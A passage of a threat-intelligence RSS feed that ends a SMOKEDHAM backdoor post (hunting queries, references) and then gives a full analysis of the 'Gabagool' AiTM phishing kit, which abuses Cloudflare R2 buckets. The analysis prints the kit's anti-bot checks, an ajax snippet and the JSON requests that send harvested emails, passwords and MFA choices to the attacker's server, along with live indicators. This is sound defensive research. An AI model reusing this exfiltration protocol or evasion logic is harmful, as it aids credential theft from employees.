ec2–18–220–58–90.us-east-2.compute.amazonaws[.]com:443.</p><h3>Indicators of Compromise</h3><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/306a2942fa88e1495c21d3cc245eff03/href">https://medium.com/media/306a2942fa88e1495c21d3cc245eff03/href</a></iframe><h3>Hunting</h3><p>Microsoft Defender Hunting query for oleview.exe running from WindowsUpdate24 (the folder name has been consistent with SMOKEDHAM):</p><pre>DeviceProcessEvents<br>| where ProcessCommandLine has &quot;C:\\ProgramData\\Microsoft\\WindowsUpdate24\\oleview.exe&quot;<br>| project Timestamp, DeviceName, ProcessCommandLine, InitiatingProcessParentFileName</pre><p>Microsoft Defender Hunting query to look for changes in the service account under which MSDTC runs, configuring it to run under the LocalSystem account:</p><pre>DeviceProcessEvents<br>| where ProcessCommandLine contains &quot;sc config msdtc obj= \&quot;LocalSystem\&quot;&quot;<br>| project Timestamp, DeviceName, ProcessCommandLine, InitiatingProcessParentFileName<br>Microsoft Defender Hunting query to look the command that configures the MSDTC service to start manually:<br>DeviceProcessEvents<br>| where ProcessCommandLine contains &quot;sc config msdtc start= demand&quot;<br>| project Timestamp, DeviceName, ProcessCommandLine, InitiatingProcessParentFileName</pre><p>Microsoft Defender Hunting query to look for nsExec.dll. The nsExec.dll is a DLL module associated with NSIS. The primary function of nsExec.dll is to execute command-line based programs within the context of an installer without opening a command prompt window:</p><pre>DeviceProcessEvents<br>| where FileName has &quot;nsExec.dll&quot;<br>| project Timestamp, DeviceName, ProcessCommandLine, InitiatingProcessParentFileName</pre><p>Microsoft Defender Hunting query to look for command that queries and monitors the time synchronization status between the potentially threat actor-controlled EC2 instance and the non-domain joined machine:</p><pre>DeviceProcessEvents<br>| where ProcessCommandLine contains &quot;w32tm.exe /monitor /computers:ec2–52–14–160–176.us-east-2.compute.amazonaws.com&quot;<br>| project Timestamp, DeviceName, ProcessCommandLine, InitiatingProcessParentFileName</pre><h3>Sigma</h3><p>You can access the Sigma rules <a href="https://github.com/TRACLabs1/Sigma">here</a>.</p><h3>References</h3><p><a href="https://cloud.google.com/blog/topics/threat-intelligence/shining-a-light-on-darkside-ransomware-operations">https://cloud.google.com/blog/topics/threat-intelligence/shining-a-light-on-darkside-ransomware-operations</a></p><p><a href="https://www.quorumcyber.com/insights/sharprhino-new-hunters-international-rat-identified-by-quorum-cyber/">https://www.quorumcyber.com/insights/sharprhino-new-hunters-international-rat-identified-by-quorum-cyber/</a></p><p><a href="https://rerednawyerg.github.io/posts/malwareanalysis/stealc_ipscanner/">https://rerednawyerg.github.io/posts/malwareanalysis/stealc_ipscanner/</a></p><p><a href="https://www.esentire.com/blog/workersdevbackdoor-delivered-via-malvertising">https://www.esentire.com/blog/workersdevbackdoor-delivered-via-malvertising</a></p><p><a href="https://securityaffairs.com/119051/cyber-crime/unc2465-supply-chain-attack.html">https://securityaffairs.com/119051/cyber-crime/unc2465-supply-chain-attack.html</a></p><p><a href="https://www.connectwise.com/blog/cybersecurity/former-darkside-ransomware-affiliate-distributing-trojanized-installers-via-malvertising">https://www.connectwise.com/blog/cybersecurity/former-darkside-ransomware-affiliate-distributing-trojanized-installers-via-malvertising</a></p><p><a href="https://github.com/TRACLabs1/Sigma">https://github.com/TRACLabs1/Sigma</a></p><p><a href="https://gist.github.com/TRACLabs1/e5847bfd576703b9479d4e5529570cca">https://gist.github.com/TRACLabs1/e5847bfd576703b9479d4e5529570cca</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=87f51e2e5bd2" width="1" height="1" alt=""><hr><p><a href="https://medium.com/trac-labs/who-ordered-the-smokedham-backdoor-delicacies-in-the-wild-87f51e2e5bd2">Who Ordered the SMOKEDHAM? Backdoor Delicacies in the Wild</a> was originally published in <a href="https://medium.com/trac-labs">Malbear Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AiTM Phishing, Hold the Gabagool: Analyzing the Gabagool Phishing Kit]]></title>
            <link>https://medium.com/trac-labs/aitm-phishing-hold-the-gabagool-analyzing-the-gabagool-phishing-kit-531f5bbaf0e4?source=rss-6a3005ed0ee2------2</link>
            <guid isPermaLink="false">https://medium.com/p/531f5bbaf0e4</guid>
            <category><![CDATA[phishing-attacks]]></category>
            <category><![CDATA[phishing-awareness]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[cybercrime]]></category>
            <dc:creator><![CDATA[Malbear Labs]]></dc:creator>
            <pubDate>Mon, 18 Nov 2024 02:23:17 GMT</pubDate>
            <atom:updated>2024-11-18T04:15:08.349Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BxYb6rBOe6SbTgYakjEOuQ.png" /></figure><h3>Case study</h3><p>The TRAC Labs team has been monitoring the recent wave of phishing campaigns and is tracking this phishing kit under the name Gabagool targeting corporate and government employees.</p><p>The recently observed phishing campaign leveraging <a href="https://developers.cloudflare.com/r2/get-started/"><strong>Cloudflare R2 buckets</strong></a>.</p><p>Cloudflare R2 buckets are storage containers in Cloudflare’s R2 storage service, designed to hold large volumes of unstructured data with zero egress fees. Threat actors can abuse Cloudflare R2 buckets for phishing by hosting malicious content or phishing landing pages in these buckets, leveraging the trusted reputation of Cloudflare to bypass security filters.</p><h3>Gabagool Analysis</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F2OyKoX6SBfLeYE7zJPhXQ.png" /><figcaption>Infection chain overview</figcaption></figure><p>The threat actor would initially compromise the user’s mailbox and begin sending phishing emails to other employees. These emails prompt recipients to view an image attached to the email, which is disguised as a document. Embedded within the image is a malicious URL-shortened link leveraging tiny.cc and tiny.pl that contain a redirect chain. For the QR-code schemes, the threat actor would attach a document to the email, for example an RTF document as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mQ55ot34ElizwD4QNcW4Qw.png" /><figcaption>RTF attachment containing the QR-code</figcaption></figure><p>Let’s walk through the entire infection chain using an example that includes a URL-shortened link embedded in an image. The image is titled “NEW FAX DOCUMENT(S) HAS BEEN RECEIVED”. When the user clicks on the image, they are redirected to file-sharing platforms such as SharePoint, SugarSync or Box as shown in the examples below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k6r115CON3Pjpx_0OxyzMA.png" /><figcaption>Document shared via Box</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8LC6T7D5qyo-7NKV8N37Fw.png" /><figcaption>Document shared via Sharepoint</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_ef6FBNaeNCXEvR4-CMWqg.png" /><figcaption>Document shared via SugarSync</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-_s_cNmP2KXo7yQb4cvLpQ.png" /><figcaption>Document shared via Sharepoint</figcaption></figure><p>After clicking on “View or Download Document” or “Open Document”, the user would be redirected to another landing page shown below with Cloudflare R2 bucket mentioned earlier.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8JUTtRGSSrAf5itKPBiaEA.png" /><figcaption>The landing page</figcaption></figure><p>As you can see, the URL is in the following format: pub-{32 hexadecimal characters}.r2.dev/{html_filename}.html. A lot of other unrelated phishing kits are also abusing R2 buckets and use the similar format but we will be focusing specifically on Gabagool.</p><p>Let’s analyze source code of the landing page above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8MRArz29z_BH1o3S0Syqbw.png" /><figcaption>Source code of the landing page</figcaption></figure><p>The unlink parameter contains the credential harvesting phishing landing page and bi parameter contains the redirect to a legitimate URL. At the end of the source code, we see the obfuscated blob of the JavaScript code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l_zyWFtJiIrC3RXXuRYcXw.png" /><figcaption>Obfuscated JavaScript code at the end of the source code</figcaption></figure><p>Upon deobfuscating the JavaScript, we see a few interesting functions:</p><h4>detectBots</h4><p>The function detects signs of bot activity with following checks:</p><ul><li><strong>Webdriver Check</strong> — it<strong> </strong>first checks if <a href="https://developer.mozilla.org/en-US/docs/Web/API/Navigator/webdriver">navigator.webdriver</a> is true. This property is often true in headless browsers or automation frameworks like Selenium, which are commonly used by bots for scraping or automated interactions. If this check passes (navigator.webdriver is true), the function logs &quot;Headless browser detected!&quot; to the console and returns true, indicating potential bot activity.</li><li><strong>Mouse Movement Detection </strong>— the function listens for the mousemove event. It counts these events, and if it exceeds 100 movements, it means that a real user is likely interacting with the page, as bots typically do not generate frequent or complex mouse movements. If the mouse movement count does not exceed 100, it logs &quot;Unusual mouse movements detected!&quot; to the console and returns true, suggesting bot-like behavior.</li><li><strong>Cookie Test </strong>— it sets a test cookie named “botCheck” with a value of “1” using the setCookie function. This cookie is set to expire after 1 day. The function then attempts to retrieve the cookie using getCookie. If the cookie cannot be retrieved (returns null or incorrect value), it suggests that cookies are disabled or not supported, which is common in some bot configurations. If the cookie cannot be retrieved, &quot;Cookies are disabled!&quot; is logged to the console, and the function returns true, pointing to possible bot activity.</li><li><strong>Rapid Interaction Detection </strong>—<strong> </strong>it uses setInterval to check if actions are occurring in rapid succession—specifically, it checks if function calls happen more frequently than every 5000 milliseconds. Rapid, repeated interactions in such a short time frame are signs of automated scripts rather than human users. If rapid interactions are detected, &quot;Rapid requests detected!&quot; is logged to the console every time the interval condition is met, suggesting automated behavior.</li></ul><p>If any of these checks suggest bot activity (webdriver presence, no mouse movements, failure to read the test cookie, or rapid repeated interactions), the redirect to the legitimate domain assigned under bi parameter happens.</p><p>If all the checks are passed — no bot activity detected, the script proceeds with the following:</p><h4>Webpage Manipulation</h4><ul><li>The addStyles function Adds CSS styles to hide overflow content and set the base dimensions and visibility for certain elements, preparing for content insertion.</li><li>Creates an image element and sets its style for full viewport height and central positioning.</li><li>If no bots are detected, after a delay of 2 seconds, it removes the image displayed to the user, applies the styles defined in addStyles and sets the iframe’s source to a dynamically constructed URL under ai parameter, which is intended to load contents of the credential harvesting page.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*k84SfqianeluJ9s9_jutEA.png" /><figcaption>Snippet of the deobfuscated JS code</figcaption></figure><p>Let’s now look at the source code of the loaded content from the ulink (we will grab the working sample — cuippored.top/fine/#, note that some landing pages other than /fine/#might also contain /200,/300,/400 , /500, /ppp, /ooo).</p><p>First, the CryptoJS library is loaded in the HTML content, suggesting that encryption or decryption operations will follow next in the script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fkP7vLRwKuFmV9SYpRXgeA.png" /><figcaption>CryptoJS library is being loaded</figcaption></figure><p>Scrolling down we see an interesting snippet. The Gabagool’s server (o365.alnassers.net) that is responsible for receiving the harvested credentials and serving additional phishing content is AES-encrypted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QvN4qZwMcwP2pGarM23sOw.png" /><figcaption>Snippet of code responsible for interacting with the Gabagool’s server</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zNcMpD60EPAo2ppWy1ScKA.png" /><figcaption>Decrypted content containing the Gabagool’s server</figcaption></figure><p>The string Z2AzDtkQgaEKJWdOV0SCDDSHsCn91fyMiObH65OnsoadZmRdds0rzqsOhYC/7tK5SQBluO+DxtRYLp7uD0LeZg== serves as a unique identifier for the phishing campaign.</p><p>Here’s a revised and more detailed explanation of the variables SV and SIR:</p><p>The variables SV and SIR are used as flag values in the context of function calls and server requests. Specifically, SV (Send Visit) is a flag that indicates whether the user’s visit should be logged or not, likely for tracking user’s visits on the landing page. The SIR (Send Invalid Result) flag, on the other hand, indicates whether to log or handle invalid or unexpected results, such as failed validations or errors during data processing.</p><p>The initial POST request to the server contains the following in our example:</p><pre>{<br>  &quot;psk&quot;: &quot;Z2AzDtkQgaEKJWdOV0SCDDSHsCn91fyMiObH65OnsoadZmRdds0rzqsOhYC/7tK5SQBluO+DxtRYLp7uD0LeZg==&quot;,<br>  &quot;do&quot;: &quot;GURI&quot;,<br>  &quot;redirect_url&quot;: &quot;https://outlook.office365.com/Encryption/ErrorPage.aspx?src=3&amp;amp;code=11&quot;,<br>  &quot;theme&quot;: &quot;office&quot;<br>}</pre><p>We see an interesting GURI marker, the office theme, the unique identifier and the redirect URL. The users will be redirect to the URL upon entering the valid credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*chOL8RQv4sGd87qOlRomVw.png" /><figcaption>Redirect URL</figcaption></figure><p>If the unique identifier is valid, the server returns the actual phishing landing page code designed to harvest the credentials. The response is also AES-encrypted. Where a contains the AES key and b contains the encrypted data, c indicates the response status.</p><pre>{<br>    &quot;a&quot;: &quot;znzzxzyy3pvb3aj2&quot;,<br>    &quot;b&quot;: &quot;4kdIwhtrvIKC7Q5R60tJKbLHP/gxnYJVW05leDGmnzN89wmzhkm6t....&quot;,<br>    &quot;c&quot;: &quot;success&quot;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kd0gdi8JyZWYwm2T88Dnfg.png" /><figcaption>Snippet of the credential harvesting landing page that is AES-decrypted</figcaption></figure><p>The script below is responsible for responding to keystrokes (specifically the Enter key, keycode 13) and mouse clicks on certain elements (#Vus9l, #lX2yIt, #U814kPS, #jIXfOYhkX). Event handlers associated with these elements activate specific functions when the Enter key is pressed or the elements are clicked. The Enter key is specifically monitored to detect when a user has completed entering data into an input field and intends to submit it. For the input field #Vus9l, the value entered is passed to a variable named em, which is then included in a POST request sent to the server; this value could be an email address, phone number, or Skype username. Similarly, for #U814kPS, the entered value is captured in a variable named px, which holds the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oWjqdHKIXCjBJv-Rhizvtw.png" /><figcaption>The code responsible for listening for keystrokes</figcaption></figure><p>Another POST request after the user enters the email and credentials would have the following format (the current IP address is fetched from <a href="https://api.ipify.org?format=json">https://api.ipify.org?format=json</a>):</p><pre>    $.ajax({<br>      url: FWqDj,<br>      cache: false,<br>      type: &quot;POST&quot;,<br>      data: JSON.stringify({<br>        do: &quot;check&quot;,<br>        em: XMFkjaD6v,<br>        IP: current_ip,<br>        bdata: navigator.userAgent,<br>        psk: psk,<br>  send_visit: SV,<br>  send_invalid_result: SIR,<br>      }),<br>      contentType: &quot;application/json&quot;, // Ensures the request is sent as JSON<br>      dataType: &quot;json&quot;, // Expecting JSON response from server</pre><p>In terms of network traffic, it would appear as follows:</p><pre>{<br>  &quot;do&quot;: &quot;check&quot;,<br>  &quot;em&quot;: email address,<br>  &quot;IP&quot;: IP address,<br>  &quot;bdata&quot;: &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36&quot;,<br>  &quot;psk&quot;: &quot;Z2AzDtkQgaEKJWdOV0SCDDSHsCn91fyMiObH65OnsoadZmRdds0rzqsOhYC/7tK5SQBluO+DxtRYLp7uD0LeZg==&quot;,<br>  &quot;send_visit&quot;: &quot;0&quot;,<br>  &quot;send_invalid_result&quot;: &quot;1&quot;<br>}</pre><p><strong>“do”: “check”</strong>: Initially, the server performs validations to ensure that the email address is associated with an organizational domain. Therefore, addresses from domains like outlook.com or hotmail.com would not be accepted.</p><p>If the email check is successful, the response might look like this:</p><pre>{<br>    &quot;status&quot;: &quot;success&quot;,<br>    &quot;banner&quot;: null,<br>    &quot;background&quot;: null,<br>    &quot;boilerPlateText&quot;: null,<br>    &quot;token&quot;: &quot;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGlmaWVyIjoiWjJBekR0a1FnYUVLSldkT1YwU0NERFNIc0NuOTFmeU1pT2JINjVPbnNvYWRabVJkZHMwcnpxc09oWUMvN3RLNVNRQmx1TytEeHRSWUxwN3VEMExlWmc9PSIsImlhdCI6MTczMTg4NzA4MS4zNjE4MzIxLCJleHAiOjE3MzE4OTA2ODEuMzYxODMyNn0.llnuf5ZD_YTKCK6J1AXyJVVBTp3Jg1mlqNXF_QZwj_E&quot;<br>}</pre><p>In the response above:</p><ul><li>banner, background, and boilerPlateText could hold the company&#39;s logo, a background image, and predefined text if they exist.</li><li>token contains a JWT (JSON Web Token) which is used for maintaining the user&#39;s session, the token value is base64-encoded and decodes to:</li></ul><pre>{&quot;alg&quot;:&quot;HS256&quot;,&quot;typ&quot;:&quot;JWT&quot;}{&quot;identifier&quot;:&quot;Z2AzDtkQgaEKJWdOV0SCDDSHsCn91fyMiObH65OnsoadZmRdds0rzqsOhYC/7tK5SQBluO+DxtRYLp7uD0LeZg==&quot;,&quot;iat&quot;:1731887081.3618321,&quot;exp&quot;:1731890681.3618326}</pre><p>Where the header is{&quot;alg&quot;:&quot;HS256&quot;,&quot;typ&quot;:&quot;JWT&quot;}</p><ul><li>alg — specifies the algorithm used to sign the JWT, in this case, HS256 which means HMAC SHA-256.</li><li>typ — specifies the type of the token, here it&#39;s a JWT.</li><li>identifier: This is likely a unique identifier for the user or the session, encoded in Base64 or a similar format.</li><li>iat (Issued At) — the time at which the JWT was issued, given as a Unix timestamp. The value 1731887081.3618321 translates to November 17, 2024, at 23:44:41.</li><li>exp (Expiration Time) — the expiration time on or after which the JWT must not be accepted for processing. The value 1731890681.3618326 translates to November 18, 2024, at 00:44:41.</li></ul><p>Next step is for user to the valid credentials in the password field. After the user enters the valid credentials, the POST request would look like the following:</p><pre>{<br>  &quot;do&quot;: &quot;le&quot;,<br>  &quot;em&quot;: email address,<br>  &quot;px&quot;: password,<br>  &quot;sec&quot;: &quot;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGlmaWVyIjoiWjJBekR0a1FnYUVLSldkT1YwU0NERFNIc0NuOTFmeU1pT2JINjVPbnNvYWRabVJkZHMwcnpxc09oWUMvN3RLNVNRQmx1TytEeHRSWUxwN3VEMExlWmc9PSIsImlhdCI6MTczMTg4NzA4MS4zNjE4MzIxLCJleHAiOjE3MzE4OTA2ODEuMzYxODMyNn0.llnuf5ZD_YTKCK6J1AXyJVVBTp3Jg1mlqNXF_QZwj_E&quot;,<br>  &quot;psk&quot;: &quot;Z2AzDtkQgaEKJWdOV0SCDDSHsCn91fyMiObH65OnsoadZmRdds0rzqsOhYC/7tK5SQBluO+DxtRYLp7uD0LeZg==&quot;<br>}</pre><p>The server response depends on whether the user has two-factor authentication (2FA) set up. In this instance, the user has multifactor authentication enabled, and the response would typically look like the following:</p><pre>{<br>    &quot;status&quot;: &quot;2&quot;,<br>    &quot;token&quot;: &quot;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGlmaWVyIjoiWjJBekR0a1FnYUVLSldkT1YwU0NERFNIc0NuOTFmeU1pT2JINjVPbnNvYWRabVJkZHMwcnpxc09oWUMvN3RLNVNRQmx1TytEeHRSWUxwN3VEMExlWmc9PSIsImlhdCI6MTczMTg4NzA4MS4zNjE4MzIxLCJleHAiOjE3MzE4OTA2ODEuMzYxODMyNn0.llnuf5ZD_YTKCK6J1AXyJVVBTp3Jg1mlqNXF_QZwj_E&quot;,<br>    &quot;method&quot;: &quot;W3siYXV0aE1ldGhvZElkIjogIlBob25lQXBwTm90aWZpY2F0aW9uIiwgImRhdGEiOiAiUGhvbmVBcHBOb3RpZmljYXRpb24iLCAiZGlzcGxheSI6ICIrWCBYWFhYWFhYWDQ4IiwgImlzRGVmYXVsdCI6IHRydWUsICJpc0xvY2F0aW9uQXdhcmUiOiBmYWxzZX0sIHsiYXV0aE1ldGhvZElkIjogIlBob25lQXBwT1RQIiwgImRhdGEiOiAiUGhvbmVBcHBPVFAiLCAiZGlzcGxheSI6ICIrWCBYWFhYWFhYWDQ4IiwgImlzRGVmYXVsdCI6IGZhbHNlLCAiaXNMb2NhdGlvbkF3YXJlIjogZmFsc2UsICJwaG9uZUFwcE90cFR5cGVzIjogWyJNaWNyb3NvZnRBdXRoZW50aWNhdG9yQmFzZWRUT1RQIl19XQ==&quot;,<br>    &quot;sec&quot;: &quot;q1ZKzVWyUipJTczVy00syk4tycxLd0guTcpM1k1K0UvOz1XSUcpOrQSqcQYJOhgbGRoYKtUCAA==&quot;<br>}</pre><p>The status 2 means that multifactor authentication options are present.</p><ul><li>sec variable contains the token.</li><li>method variable contains the Base64-encoded authentication methods. Based on the methods available, such as PhoneAppNotification, PhoneAppOTP, OneWaySMS, TwoWayVoiceMobile and TwoWayVoiceOffice. The method variable decodes to:</li></ul><pre>[{&quot;authMethodId&quot;: &quot;PhoneAppNotification&quot;, &quot;data&quot;: &quot;PhoneAppNotification&quot;, &quot;display&quot;: &quot;+X XXXXXXXX48&quot;, &quot;isDefault&quot;: true, &quot;isLocationAware&quot;: false}, {&quot;authMethodId&quot;: &quot;PhoneAppOTP&quot;, &quot;data&quot;: &quot;PhoneAppOTP&quot;, &quot;display&quot;: &quot;+X XXXXXXXX48&quot;, &quot;isDefault&quot;: false, &quot;isLocationAware&quot;: false, &quot;phoneAppOtpTypes&quot;: [&quot;MicrosoftAuthenticatorBasedTOTP&quot;]}]</pre><p><strong>First Object (PhoneAppNotification)</strong></p><ul><li><strong>authMethodId</strong>: “PhoneAppNotification” — identifies the method of authentication, in this case, a notification sent through a phone application.</li><li><strong>data</strong>: “PhoneAppNotification” — represents the identifier used by the server to process this method.</li><li><strong>display</strong>: “+X XXXXXXXX48” — this is a masked representation of a phone number to which the notification would be sent.</li><li><strong>isDefault</strong>: true — indicates that PhoneAppNotification is the default method of authentication for the user.</li><li><strong>isLocationAware</strong>: false — the field specifies whether the authentication method utilizes location data to verify the identity and here, it does not.</li></ul><p><strong>Second Object (PhoneAppOTP)</strong></p><ul><li><strong>authMethodId</strong>: “PhoneAppOTP” — the method involves a One-Time Password (OTP) generated and sent through a phone application.</li><li><strong>data</strong>: “PhoneAppOTP” — an identifier.</li><li><strong>isDefault</strong>: false — the method is not set as the default; users might have to choose to use it actively or it may be used as a secondary method.</li><li><strong>isLocationAware</strong>: false — similar to the the first method, location data is not used in the verification process.</li><li><strong>phoneAppOtpTypes</strong>: “MicrosoftAuthenticatorBasedTOTP” — this specifies the type of OTP used; in this case, it’s a TOTP (Time-based One-Time Password) generated by Microsoft Authenticator.</li></ul><p>The user would choose one of the authentication methods shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*cmB4SvVwFJJ-EjEO7tYgUQ.png" /><figcaption>Available authentication methods</figcaption></figure><p>If the user chooses the first method — approve the request via the Microsoft Authenticator app, the POST request would look like the following:</p><pre>{<br>  &quot;m&quot;: &quot;1&quot;,<br>  &quot;token&quot;: &quot;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGlmaWVyIjoiWjJBekR0a1FnYUVLSldkT1YwU0NERFNIc0NuOTFmeU1pT2JINjVPbnNvYWRabVJkZHMwcnpxc09oWUMvN3RLNVNRQmx1TytEeHRSWUxwN3VEMExlWmc9PSIsImlhdCI6MTczMTg4OTQxMy42MjExODA4LCJleHAiOjE3MzE4OTMwMTMuNjIxMTgxfQ.GmuecjR3LZI8GVnYfLMeipTQE1n-OpCg3jMiLuutEmc&quot;,<br>  &quot;do&quot;: &quot;ver&quot;,<br>  &quot;sec&quot;: &quot;q1ZKzVWyUipJTczVy00syk4tycxLd0guTcpM1k1K0UvOz1XSUcpOrQSqcQYJOhgbGRoYKtUCAA==&quot;,<br>  &quot;psk&quot;: &quot;Z2AzDtkQgaEKJWdOV0SCDDSHsCn91fyMiObH65OnsoadZmRdds0rzqsOhYC/7tK5SQBluO+DxtRYLp7uD0LeZg==&quot;<br>}</pre><p>Where “m”: “1” is the first authentication method used, which is PhoneAppNotification.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y3sHXYLuV89iVTKUj0IuBA.png" /><figcaption>The code snippet displaying authentication methods</figcaption></figure><p>The response from the server would contain the OTP value, type number, status and the token:</p><pre>    &quot;status&quot;: true,<br>    &quot;token&quot;: &quot;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGlmaWVyIjoiWjJBekR0a1FnYUVLSldkT1YwU0NERFNIc0NuOTFmeU1pT2JINjVPbnNvYWRabVJkZHMwcnpxc09oWUMvN3RLNVNRQmx1TytEeHRSWUxwN3VEMExlWmc9PSIsImlhdCI6MTczMTg4OTQxMy42MjExODA4LCJleHAiOjE3MzE4OTMwMTMuNjIxMTgxfQ.GmuecjR3LZI8GVnYfLMeipTQE1n-OpCg3jMiLuutEmc&quot;,<br>    &quot;otp&quot;: 120,<br>    &quot;type&quot;: &quot;one&quot;<br>}</pre><p>If the user chooses to use the verification code the method (PhoneAppOTP) would be equal to 2. For OneWaySMS — 3, TwoWayVoiceMobile — 4 and TwoWayVoiceOffice — 5.</p><p>For each POST requests using one of the following authentication methods described above, the service variable will change depending on the method being used.</p><p>This is the POST request for the first authentication method being used:</p><pre>do: &quot;cV&quot;,<br>token: oIVhfu.token,<br>service: &quot;a&quot;,<br>sec: D7yCQ1q,<br>psk: psk</pre><p>Actual POST request sent:</p><pre>{<br>  &quot;do&quot;: &quot;cV&quot;,<br>  &quot;token&quot;: &quot;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGlmaWVyIjoiWjJBekR0a1FnYUVLSldkT1YwU0NERFNIc0NuOTFmeU1pT2JINjVPbnNvYWRabVJkZHMwcnpxc09oWUMvN3RLNVNRQmx1TytEeHRSWUxwN3VEMExlWmc9PSIsImlhdCI6MTczMTg4OTc4NC4yNTA5NDk5LCJleHAiOjE3MzE4OTMzODQuMjUwOTQ5OX0.ygwSnXIVG9J4ccN80O7qsFRNh-suL0DjbZVmBgf_R6Q&quot;,<br>  &quot;service&quot;: &quot;a&quot;,<br>  &quot;sec&quot;: &quot;q1ZKzVWyUipJTczVy00syk4tycxLd0guTcpM1k1K0UvOz1XSUcpOrQSqcQYJOhgbGRoYKtUCAA==&quot;,<br>  &quot;psk&quot;: &quot;Z2AzDtkQgaEKJWdOV0SCDDSHsCn91fyMiObH65OnsoadZmRdds0rzqsOhYC/7tK5SQBluO+DxtRYLp7uD0LeZg==&quot;<br>}</pre><p>So, for PhoneAppNotification — “a”</p><ul><li>PhoneAppOTP — “c”</li><li>OneWaySMS — “b”</li><li>TwoWayVoiceMobile — “d”</li><li>TwoWayVoiceOffice — “e”</li></ul><h3>Additional Research</h3><p>We found <a href="https://app.any.run/tasks/92bddc27-6009-466f-8b14-ce6a97e01685/">another landing page</a> slightly different from the one we analyzed.</p><p>Where the landing page instead of ulink would be assigned under originalUrl variable and the legitimate redirect domain would be assigned as botUrl instead of bi, both values would be Base64-encoded as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*COBkk5hlsw-7zo0bkqAIpg.png" /><figcaption>Snippet of the landing page</figcaption></figure><p>The script checks the user agent of the browser to detect if it is a known bot (like Googlebot, Bingbot, Chromebot, etc.). Depending on whether a bot is detected, the user is redirected to one of the two URLs:</p><ul><li>Bots are redirected to Facebook.</li><li>Regular users (non-bots) are redirected to the specific next phishing landing page emcs.cnt.br/27942f91ec60abe507e5e85c70f2a95a/services/mathon/PX-%20o365%20v1.2/.</li><li>The redirection is initiated 2 seconds after the page loads.</li></ul><h3>Summary</h3><p>The TRAC Labs team has identified a phishing campaign dubbed as “Gabagool”, targeting corporate and government employees. This campaign leverages Cloudflare R2 buckets to host malicious content, taking advantage of Cloudflare’s trusted reputation to bypass security measures. The attackers start by compromising email accounts and sending phishing emails containing malicious links. These links direct victims to fake documents hosted on platforms like SharePoint, SugarSync, or Box, which then reroute to a phishing page hidden within a Cloudflare R2 bucket.</p><p>Special thanks to any.run for providing public samples through their <a href="https://any.run/threat-intelligence-lookup/">Threat Intelligence platform</a>.</p><h3>Detection</h3><ul><li>Look for unusual connections to Cloudflare R2 buckets with URLs formatted like pub-{32 hexadecimal characters}.r2.dev/{html_filename}.html.</li><li>Keep an eye on traffic heading to known malicious servers, such as o365.alnassers.net.</li><li>If network traffic packet captures are available, review the data being sent to these servers.</li><li>To assist in hunting, use public URLScan queries such as page.domain:pub-*.*r2.dev OR hash:8c905c71ef88bdd72707dab7b5c2adfdd148190f74b7284b7f7745bea500a92e</li></ul><p>For more hunting ideas, you can reach out to us via Twitter.</p><h3>Indicators of Compromise</h3><p>You can access the Indicators of Compromise on our <a href="https://github.com/TRACLabs1/Phishing/blob/main/Gabagool/Gabagool-IOCs-11-2024.txt">Github page</a>.</p><h3>References</h3><p><a href="https://developers.cloudflare.com/r2/get-started/">https://developers.cloudflare.com/r2/get-started/</a></p><p><a href="https://developer.mozilla.org/en-US/docs/Web/API/Navigator/webdriver">https://medium.com/r/?url=https%3A%2F%2Fdeveloper.mozilla.org%2Fen-US%2Fdocs%2FWeb%2FAPI%2FNavigator%2Fwebdriver</a></p><p><a href="https://app.any.run/tasks/92bddc27-6009-466f-8b14-ce6a97e01685/">https://app.any.run/tasks/92bddc27-6009-466f-8b14-ce6a97e01685/</a></p><p><a href="https://github.com/TRACLabs1/Phishing/blob/main/Gabagool/Gabagool-IOCs-11-2024.txt">Github</a></p><p><a href="https://any.run/threat-intelligence-lookup/">Threat Intelligence platform</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=531f5bbaf0e4" width="1" height="1" alt=""><hr><p><a href="https://medium.com/trac-labs/aitm-phishing-hold-the-gabagool-analyzing-the-gabagool-phishing-kit-531f5bbaf0e4">AiTM Phishing, Hold the Gabagool: Analyzing the Gabagool Phishing Kit</a> was originally published in <a href="https://medium.com/trac-labs">Malbear Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
